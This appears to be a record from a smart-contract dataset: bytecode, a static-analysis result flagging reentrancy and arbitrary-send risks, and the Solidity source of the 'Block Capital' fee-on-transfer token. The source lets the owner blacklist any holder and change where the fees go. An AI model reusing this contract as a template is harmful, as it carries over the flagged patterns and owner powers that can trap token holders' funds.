6016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203270f1c8df2cba8f2af50ee823c4a9eb37b6d4d20e5ba1fc8d0af6f9ddaec61764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,966 |
0xD4E979f01F93dd6599d7A1058376D32f75A70f94
|
/*
/$$$$$$$ /$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$| $$ /$$__ $$ /$$__ $$| $$ /$$/
| $$ \ $$| $$ | $$ \ $$| $$ \__/| $$ /$$/
| $$$$$$$ | $$ | $$ | $$| $$ | $$$$$/
| $$__ $$| $$ | $$ | $$| $$ | $$ $$
| $$ \ $$| $$ | $$ | $$| $$ $$| $$\ $$
| $$$$$$$/| $$$$$$$$| $$$$$$/| $$$$$$/| $$ \ $$
|_______/ |________/ \______/ \______/ |__/ \__/
/$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$$$$$ /$$
/$$__ $$ /$$__ $$| $$__ $$|_ $$_/|__ $$__//$$__ $$| $$
| $$ \__/| $$ \ $$| $$ \ $$ | $$ | $$ | $$ \ $$| $$
| $$ | $$$$$$$$| $$$$$$$/ | $$ | $$ | $$$$$$$$| $$
| $$ | $$__ $$| $$____/ | $$ | $$ | $$__ $$| $$
| $$ $$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$
| $$$$$$/| $$ | $$| $$ /$$$$$$ | $$ | $$ | $$| $$$$$$$$
\______/ |__/ |__/|__/ |______/ |__/ |__/ |__/|________/
Website: https://block-capital.net/
TG: @blockcapital_eth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract BlockCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Block Capital";
string private constant _symbol = "BlockCapital";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (20 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fc578063cf0848f714610411578063cf9d4afa14610431578063dd62ed3e14610451578063e6ec64ec14610497578063f2fde38b146104b757600080fd5b8063715018a61461032a5780638da5cb5b1461033f57806390d49b9d1461036757806395d89b4114610387578063a9059cbb146103bc578063b515566a146103dc57600080fd5b806331c2d8471161010857806331c2d847146102435780633bbac57914610263578063437823ec1461029c578063476343ee146102bc5780635342acb4146102d157806370a082311461030a57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101ba57806318160ddd146101ea57806323b872dd1461020f578063313ce5671461022f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d7565b005b34801561017e57600080fd5b5060408051808201909152600d81526c109b1bd8dac810d85c1a5d185b609a1b60208201525b6040516101b191906118f5565b60405180910390f35b3480156101c657600080fd5b506101da6101d536600461196f565b610523565b60405190151581526020016101b1565b3480156101f657600080fd5b50678ac7230489e800005b6040519081526020016101b1565b34801561021b57600080fd5b506101da61022a36600461199b565b61053a565b34801561023b57600080fd5b506009610201565b34801561024f57600080fd5b5061017061025e3660046119f2565b6105a3565b34801561026f57600080fd5b506101da61027e366004611ab7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a857600080fd5b506101706102b7366004611ab7565b610639565b3480156102c857600080fd5b50610170610687565b3480156102dd57600080fd5b506101da6102ec366004611ab7565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031657600080fd5b50610201610325366004611ab7565b6106c1565b34801561033657600080fd5b506101706106e3565b34801561034b57600080fd5b506000546040516001600160a01b0390911681526020016101b1565b34801561037357600080fd5b50610170610382366004611ab7565b610719565b34801561039357600080fd5b5060408051808201909152600c81526b109b1bd8dad0d85c1a5d185b60a21b60208201526101a4565b3480156103c857600080fd5b506101da6103d736600461196f565b610793565b3480156103e857600080fd5b506101706103f73660046119f2565b6107a0565b34801561040857600080fd5b506101706108b9565b34801561041d57600080fd5b5061017061042c366004611ab7565b610971565b34801561043d57600080fd5b5061017061044c366004611ab7565b6109bc565b34801561045d57600080fd5b5061020161046c366004611ad4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a357600080fd5b506101706104b2366004611b0d565b610c17565b3480156104c357600080fd5b506101706104d2366004611ab7565b610c8d565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260040161050190611b26565b60405180910390fd5b6000610515306106c1565b905061052081610d25565b50565b6000610530338484610e9f565b5060015b92915050565b6000610547848484610fc3565b610599843361059485604051806060016040528060288152602001611ca1602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113de565b610e9f565b5060019392505050565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161050190611b26565b60005b8151811015610635576000600560008484815181106105f1576105f1611b5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611b87565b9150506105d0565b5050565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161050190611b26565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610635573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053490611418565b6000546001600160a01b0316331461070d5760405162461bcd60e51b815260040161050190611b26565b610717600061149c565b565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161050190611b26565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610530338484610fc3565b6000546001600160a01b031633146107ca5760405162461bcd60e51b815260040161050190611b26565b60005b815181101561063557600c5482516001600160a01b03909116908390839081106107f9576107f9611b5b565b60200260200101516001600160a01b03161415801561084a5750600b5482516001600160a01b039091169083908390811061083657610836611b5b565b60200260200101516001600160a01b031614155b156108a75760016005600084848151811061086757610867611b5b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b181611b87565b9150506107cd565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161050190611b26565b600c54600160a01b900460ff166109475760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610501565b600c805460ff60b81b1916600160b81b17905542600d81905561096c906104b0611ba2565b600e55565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161050190611b26565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e65760405162461bcd60e51b815260040161050190611b26565b600c54600160a01b900460ff1615610a4e5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610501565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac99190611bba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611bba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611bba565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161050190611b26565b600f811115610c885760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610501565b600855565b6000546001600160a01b03163314610cb75760405162461bcd60e51b815260040161050190611b26565b6001600160a01b038116610d1c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610501565b6105208161149c565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6d57610d6d611b5b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190611bba565b81600181518110610dfd57610dfd611b5b565b6001600160a01b039283166020918202929092010152600b54610e239130911684610e9f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5c908590600090869030904290600401611bd7565b600060405180830381600087803b158015610e7657600080fd5b505af1158015610e8a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610501565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610501565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610501565b6001600160a01b0382166110895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610501565b600081116110eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610501565b6001600160a01b03831660009081526005602052604090205460ff16156111935760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610501565b6001600160a01b03831660009081526004602052604081205460ff161580156111d557506001600160a01b03831660009081526004602052604090205460ff16155b80156111eb5750600c54600160a81b900460ff16155b801561121b5750600c546001600160a01b038581169116148061121b5750600c546001600160a01b038481169116145b156113cc57600c54600160b81b900460ff166112795760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610501565b50600c546001906001600160a01b0385811691161480156112a85750600b546001600160a01b03848116911614155b80156112b5575042600e54115b156112fc5760006112c5846106c1565b90506112e560646112df678ac7230489e8000060036114ec565b9061156b565b6112ef84836115ad565b11156112fa57600080fd5b505b600d5442141561132a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611335306106c1565b600c54909150600160b01b900460ff161580156113605750600c546001600160a01b03868116911614155b156113ca5780156113ca57600c54611394906064906112df90600f9061138e906001600160a01b03166106c1565b906114ec565b8111156113c157600c546113be906064906112df90600f9061138e906001600160a01b03166106c1565b90505b6113ca81610d25565b505b6113d88484848461160c565b50505050565b600081848411156114025760405162461bcd60e51b815260040161050191906118f5565b50600061140f8486611c48565b95945050505050565b600060065482111561147f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610501565b600061148961170f565b9050611495838261156b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114fb57506000610534565b60006115078385611c5f565b9050826115148583611c7e565b146114955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610501565b600061149583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611732565b6000806115ba8385611ba2565b9050838110156114955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610501565b808061161a5761161a611760565b6000806000806116298761177c565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165690856117c3565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168590846115ad565b6001600160a01b0389166000908152600160205260409020556116a781611805565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ec91815260200190565b60405180910390a3505050508061170857611708600954600855565b5050505050565b600080600061171c61184f565b909250905061172b828261156b565b9250505090565b600081836117535760405162461bcd60e51b815260040161050191906118f5565b50600061140f8486611c7e565b60006008541161176f57600080fd5b6008805460095560009055565b6000806000806000806117918760085461188f565b91509150600061179f61170f565b90506000806117af8a85856118bc565b909b909a5094985092965092945050505050565b600061149583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113de565b600061180f61170f565b9050600061181d83836114ec565b3060009081526001602052604090205490915061183a90826115ad565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061186a828261156b565b82101561188657505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a260646112df87876114ec565b905060006118b086836117c3565b96919550909350505050565b600080806118ca86856114ec565b905060006118d886866114ec565b905060006118e683836117c3565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192257858101830151858201604001528201611906565b81811115611934576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052057600080fd5b803561196a8161194a565b919050565b6000806040838503121561198257600080fd5b823561198d8161194a565b946020939093013593505050565b6000806000606084860312156119b057600080fd5b83356119bb8161194a565b925060208401356119cb8161194a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0557600080fd5b823567ffffffffffffffff80821115611a1d57600080fd5b818501915085601f830112611a3157600080fd5b813581811115611a4357611a436119dc565b8060051b6